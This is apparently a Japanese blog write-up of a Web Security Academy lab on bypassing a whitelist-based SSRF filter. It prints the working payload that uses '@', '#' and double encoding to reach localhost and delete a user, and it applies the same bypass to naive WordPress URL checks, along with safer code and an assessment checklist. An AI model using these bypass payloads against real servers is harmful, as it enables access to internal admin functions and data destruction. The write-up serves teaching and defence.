SSRF対策として、「特定のURLのみアクセスを許可する」というホワイトリスト方式が使われることがあります。
一見すると安全に思えますが、この方法だけでは不十分です。
今回のWeb Security Academyのラボ「SSRF with whitelist-based input filter」では、「stock.weliketoshop.net のみ許可」という制限があるにも関わらず、内部の localhost にアクセスし、管理者ユーザーを削除することができました。
この記事では、その仕組みを初心者向けに整理しながら、WordPressで同様の問題が起きるケースについても解説します。

SSRF with whitelist-based input filterラボの概要
- 在庫チェック機能が外部URLにリクエストを送信する
- 許可されているホストは、
stock.weliketoshop.netのみ - 目標
http://localhost/adminにアクセスし、ユーザーcarlosを削除する
SSRFホワイトリストバイパスの流れ

① 在庫チェックのリクエストを確認
Burp Suiteで在庫チェック機能を確認すると、以下のようなリクエストが送信されています。
POST /product/stock HTTP/1.1
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=2&storeId=1② localhostに変更(失敗)
stockApi=http://localhost/admin以下のエラーが返ります。
External stock check host must be stock.weliketoshop.netホスト名が制限されていることが分かります。
③ 試行錯誤(バイパスできない)
以下のような方法を試しても失敗します。
@を使ったURL#を使ったURL- URLエンコード
- IPアドレス表現の変更
単純なバイパスでは通りません。
④ 最終ペイロード
stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos⑤ 結果
- フィルタは
stock.weliketoshop.netを見て許可 - 実際のリクエストは
localhostに送信される - 管理画面の削除処理が実行される
ラボ解決となります。
なぜこの攻撃が成立するのか

このラボの本質は「URLの解釈のズレ」です。
同じURLでも、以下のように見え方が異なります。
フィルタ側の見え方
http://localhost:80%2523@stock.weliketoshop.net@stock.weliketoshop.net が含まれているため、許可されます。
実際のサーバー側の解釈
localhost:80#@stock.weliketoshop.net%2523→%23→#にデコードされる#以降は無視される
結果として、実際の接続先は localhost になります。
URLの重要な仕様
@を使ったURLバイパスの仕組み
http://user@hostこの形式では、実際にアクセスされるのは @ の後ろのホストです。
例
http://aaa@evil.com実際の接続先は evil.com です。
#(フラグメント)とURLエンコードによる回避手法
http://example.com#fragment# 以降はサーバーに送信されません。
そのため、URLの一部を無視させることができます。
なぜ二重エンコードでフィルタをすり抜けるのか
URLエンコードを利用すると、フィルタと実行時で解釈が変わることがあります。
今回のラボでは、%2523(二重エンコード)が使われています。
ポイントまとめ
- URLは1通りではない
- フィルタと実際の処理で解釈がズレることがある
- 文字列チェックでは防げない
WordPressで起こりうるSSRFの具体例
WordPressでは、外部APIと通信する機能が多く存在します。
例
- 外部API連携
- RSS取得
- OGP取得
- webhook
- プラグインのアップデート確認
これらの機能で、ユーザー入力を元にURLを組み立てるケースがあります。
よくある危険な実装
if (strpos($url, 'example.com') !== false) {
$response = file_get_contents($url);
}このコードは「example.comを含むURLのみ許可」していますが、安全ではありません。
バイパス例
http://example.com@localhost- フィルタ:example.comを含む → OK
- 実際:localhostにアクセス
問題の本質
- URLを文字列として扱っている
- ホスト名を正しく検証していない
- URL構造を考慮していない
WordPressでの具体例
$url = $_POST['api_url'];
$response = wp_remote_get($url);このようなコードで、ユーザー入力をそのまま使うとSSRFのリスクがあります。
安全な実装
$parsed = parse_url($url);if ($parsed['host'] === 'example.com') {
$response = wp_remote_get($url);
}さらに安全にするための対策
- 内部IP(127.0.0.1など)を拒否する
- DNS再解決対策を行う
- リダイレクト先も検証する
- 許可するプロトコルを限定する
セキュリティ診断時のチェックリスト(SSRF)
SSRFは特別な機能だけでなく、外部URLを扱う処理があれば発生する可能性があります。
診断時は以下のポイントを確認します。
チェックポイント
- 外部URLを扱う機能があるか(API連携・OGP取得・RSSなど)
- ユーザー入力がURLとして使用されていないか
- ホワイトリストが「文字列チェック」になっていないか
parse_url()などでホストを正しく判定しているか- localhostや内部IPへのアクセスが制限されているか
- URLエンコードや二重エンコードに対応しているか
- リダイレクト先も検証しているか
WordPressで特に注意する点
wp_remote_get()にユーザー入力が渡っていないか- プラグインが外部通信を行っていないか
補足
各チェック項目の詳しい解説は、別記事でまとめています。
ラボを実際にやってみて感じたこと
正直、このラボはかなり混乱しました。
@ や # の意味も最初はよく分からず、「URLってこんなに自由に書けるのか」と戸惑いました。
しかし、やっていることはシンプルです。
フィルタの見ている情報と、実際の接続先をズラしているだけです。
この視点が分かると、SSRFの理解が一気に進みました。
まとめ│URLは見た目どおりに解釈されない
ホワイトリストによるURL制限は、適切に実装しない限り安全ではありません。
今回のラボから分かる重要なポイントは以下の通りです。
- URLは見た目だけでは判断できない
- パースの違いが脆弱性につながる
- 文字列チェックでは不十分
WordPressでも同様の実装は十分あり得るため、注意が必要です。
